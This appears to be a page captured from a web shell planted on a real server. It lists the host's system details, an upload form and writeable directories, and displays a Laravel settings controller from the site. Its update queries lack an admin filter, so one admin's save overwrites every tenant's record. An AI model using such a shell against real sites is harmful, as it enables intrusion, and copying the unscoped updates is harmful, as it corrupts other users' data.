KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/parassaas.edukrypt.in/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/parassaas.edukrypt.in/app/Http/Controllers/WebsiteController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use App\Models\Product;
use App\Models\Category;
use App\Models\Admin_user;
use App\Models\Main_category;
use App\Models\Blog;
use File;

class WebsiteController extends Controller
{

  /**
   * Display a listing of the resource.
   *
   * @return \Illuminate\Http\Response
   */
  public function index(Request $request)
  {
    $data['mainMenu'] = 'webManagement';
    $data['subMenu'] = 'webSettings';

    $admin_id = $request->session()->get('loggedIn')['id'];


    $data['site_name'] = "";
    $data['site_logo'] = "";
    $data['site_favicon'] = "";
    $data['site_state'] = "";
    $data['site_meta_tag'] = "";

    $web_info = DB::table('website_info')->where('admin_id', '=', $admin_id)->first();
    // dd(!empty($web_info));
    if (!empty($web_info)) {
      $data['site_name'] = $web_info->site_name;
      $data['site_logo'] = $web_info->site_logo;
      $data['site_favicon'] = $web_info->site_favicon;
      $data['site_state'] = $web_info->site_state;
      $data['site_meta_tag'] = $web_info->site_meta_tag;
      $data['invoice_prefix'] = $web_info->invoice_prefix;
    }

    return view('admin.website.settings', $data);
  }

  public function saveSiteName(Request $request)
  {
    $request->validate([
      'site_name' => 'required'
    ]);
    $admin_id = $request->session()->get('loggedIn')['id'];

    $web_info = DB::table('website_info')->where('admin_id', '=', $admin_id)->count();
    if ($web_info < 1) {
      $data = array(
        'site_name' => $request->site_name,
        'admin_id' => $admin_id
      );
      $res = DB::table('website_info')->insert($data);
    } else {
      $data = array(
        'site_name' => $request->site_name
      );
      $res = DB::table('website_info')->update($data);
    }

    if ($res) {
      return back()
        ->with('success', 'Site name updated successfully!.');
    } else {
      return back()
        ->with('error', 'Something Went Wrong!');
    }
  }


  public function saveSiteState(Request $request)
  {
    $request->validate([
      'site_state' => 'required'
    ]);
    $admin_id = $request->session()->get('loggedIn')['id'];

    $web_info = DB::table('website_info')->where('admin_id', '=', $admin_id)->count();
    if ($web_info < 1) {
      $data = array(
        'site_state' => $request->site_state,
        'admin_id' => $admin_id
      );
      $res = DB::table('website_info')->insert($data);
    } else {
      $data = array(
        'site_state' => $request->site_state
      );
      $res = DB::table('website_info')->update($data);
    }

    if ($res) {
      return back()
        ->with('success', 'Site state updated successfully!.');
    } else {
      return back()
        ->with('error', 'Something Went Wrong!');
    }
  }
}

Anon7 - 2021